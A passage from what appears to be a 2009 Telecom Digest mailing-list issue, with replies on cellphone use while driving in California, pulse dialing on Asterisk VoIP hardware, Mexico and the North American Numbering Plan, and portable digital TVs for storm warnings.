> changes to the shoulder without adequate checking of the rear-view
> mirror..
>
>
>>allowing a **brief** (electronically time-limited) audible voice
>>message from the caller
>
>
> 2 microseconds should be enough.
>
>
>>("Sam, this is Sally, call me back when you
>>have a chance") through the speaker phone: giving the caller some
>>return indication that this has been done -- and then disabling
>>further use of the phone in any way for, say, 5 minutes.
>
>
> That can be life-threatening denial of service attack should an
> incoming call show up shortly before or after an accident, whether
> the incoming call caused the accident, whether it was complete
> coincidence, or whether the call was intended to prevent the victim
> from summoning help before the attacker murders him. And making
> 911 an exception doesn't change the fact that not all emergency
> calls need to go to 911.
>
Why not just use a hands-free unit which is legal in California.
------------------------------
Date: Mon, 29 Jun 2009 23:40:14 -0500
From: Dave Garland <dave.garland@wizinfo.com>
To: redacted@invalid.telecom.csail.mit.edu
Subject: Re: Cellphones and driving
Message-ID: <buydnYbD9449C9TXnZ2dnUVZ_tqdnZ2d@posted.visi>
AES wrote:
> The San Jose Mercury reports today on the order of 200,000+ tickets
> (possibly twice that number) issued in California to date for
> cellphone use while driving.
>
> Many of us would like to get a message through -- safely! -- via
> cellphone to a relative or colleague whom we know may be on the road
> at the time we call.
My cellphone goes through to voicemail if either I don't answer in 5
rings, or I hit "cancel", or I turn it off. So if I'm driving I have
the option of immediately knowing a call went to voicemail, or just
having the phone quietly collect messages until I check.
Hard to imagine that cellphones in California don't have those features.
Dave
------------------------------
Date: Tue, 30 Jun 2009 08:42:38 -0700
From: Thad Floryan <thad@thadlabs.com>
To: redacted@invalid.telecom.csail.mit.edu
Subject: Re: Cellphones and driving
Message-ID: <4A4A326E.6030901@thadlabs.com>
On 6/30/2009 5:00 AM, Dave Garland wrote:
> AES wrote:
>> The San Jose Mercury reports today on the order of 200,000+ tickets
>> (possibly twice that number) issued in California to date for
>> cellphone use while driving.
>>
>> Many of us would like to get a message through -- safely! -- via
>> cellphone to a relative or colleague whom we know may be on the road
>> at the time we call.
>
> My cellphone goes through to voicemail if either I don't answer in 5
> rings, or I hit "cancel", or I turn it off. So if I'm driving I have
> the option of immediately knowing a call went to voicemail, or just
> having the phone quietly collect messages until I check.
>
> Hard to imagine that cellphones in California don't have those features.
California is "special":
(1) cars don't have turn signals,
(2) drivers with 10 DUI convictions/accidents retain their licenses, and
(3) full-feature cellphones are surgically bonded to hands and faces.
Just kidding, but seriously:
(1) false, but one wonders ...
(2) sadly, TRUE
(3) probably not yet, but it sure "seems" true just looking around.
:-)
------------------------------
Date: Tue, 30 Jun 2009 01:09:09 -0500
From: Michael Grigoni <michael.grigoni@cybertheque.org>
To: redacted@invalid.telecom.csail.mit.edu
Subject: Re: VoIP devices, was: Re: Should legacy technologies be allowed to remain forever?
Message-ID: <4A49AC05.1060507@cybertheque.org>
John Levine wrote:
> John F. Morse wrote:
<snip>
>> I presume the TA and Asterisk can accommodate dial pulses?
>
> I wouldn't count on it, since I doubt there's much demand for it.
>
It depends on the FXS card and the channel code; my IXJ (Internet
Phone Jack) FXS card and channel 'phone' in asterisk support
pulse dialing.
Michael
------------------------------
Date: 30 Jun 2009 09:33:28 -0400
From: kludge@panix.com (Scott Dorsey)
To: redacted@invalid.telecom.csail.mit.edu
Subject: Re: Number length, was Goodbye to copper?
Message-ID: <h2d478$fal$1@panix2.panix.com>
In article <cZadnfaiy7DhlNTXnZ2dnUVZ_o1i4p2d@supernews.com>,
PV <pv+usenet@pobox.com> wrote:
>David Lesher <wb8foz@panix.com> writes:
>>As some point he was explaining CPU registers, and how it was faster to
>>have a variable in one vs fetching it from elsewhere. Whereby, one of the
>>smarter students asked "Why don't you just declare more registers..?" and
>>he realized they did not grasp the basics.
>
>I find this story lacking credibility for lots and lots of reasons. *
I would have also, had I not actually taught a similar sort of class.
--scott
--
"C'est un Nagra. C'est suisse, et tres, tres precis."
------------------------------
Date: Wed, 1 Jul 2009 03:45:35 +0000 (UTC)
From: "Adam H. Kerman" <ahk@chinet.com>
To: redacted@invalid.telecom.csail.mit.edu
Subject: Re: Number length, was Goodbye to copper?
Message-ID: <h2em4u$tl8$2@news.albasani.net>
Steven Lichter <diespammers@ikillspammers.com> wrote:
>Sam Spade wrote:
>>Originally, if I recall correctly, Mexico was supposed to be part of the
>>NANP.
>They were part of it at one time, I believe they chose to drop out.
Perhaps AT&T has some idea that they'd number the entire world's
telephone networks, but one wonders about the length chosen.
Mexico was never in the NANP. There were special dialing procedures to
reach northwestern Mexico where telephone systems were installed thanks
to US investors, and a special dialing procedure to reach Mexico city
using a dialing sequence that fit into NANP dialing. There was a long
transition period in which these areas could be dialed either NANP style
or using Mexico's country code. Eventually the practice ended when NANPA
reclaimed the reserved dialing procedures for new area codes.
Mexico City was dual-numbered, but I'm not sure if dialing northwestern
Mexico from the rest of Mexico required the use of a different dialing
procedure for a domestic call or if it was treated as if the call was
handed off to a switch across the border.
------------------------------
Date: Tue, 30 Jun 2009 19:30:42 EDT
From: Wesrock@aol.com
To: redacted@invalid.telecom.csail.mit.edu
Subject: Re: Goodbye to copper?
Message-ID: <bfe.61e86eb8.377bfa22@aol.com>
In a message dated 6/29/2009 9:06:22 PM Central Daylight Time,
joeofseattle@yahoo.com writes:
Your use of the word "radio" confused me at first, but I'm guessing
you're referring to a analog to digital TV converter.
-------------------------------Reply-----------------------------------
Sorry. It is a portable digital TV with rechargable batteries--much
desired in areas with thunderstorms and tornados, subject to power failure,
especially since the FCC left us with useless analog sets. Many of us have
(had) a small battery-powered analog set to take into our interior closet or
fraidy hole, where we watched the non-stop TV weathermen and their radar
displays showing the movement of tornadoes in real time. Any convertor is
many times larger and heavier than these small sets which provded a vital
purpose.
Wes Leatherock
wesrock@aol.com
wleathus@yahoo.com
------------------------------
Date: 01 Jul 2009 02:12:13 GMT
From: Steve Kostecke <steve@kostecke.net>
To: redacted@invalid.telecom.csail.mit.edu
Subject: Notes On Nationwide Dialing (Was: Re: Goodbye to copper? )
Message-ID: <slrnh4lhft.e7j.steve@stasis.kostecke.net>
> Is "Notes on Distance Dialing" still in print? IIRC, that had a good
> explanation of the NANP.
See http://www.historyofphonephreaking.org/docs.php
--
Steve Kostecke <steve@kostecke.net>
Public Key at gopher://kostecke.net or `finger steve@kostecke.net`
------------------------------
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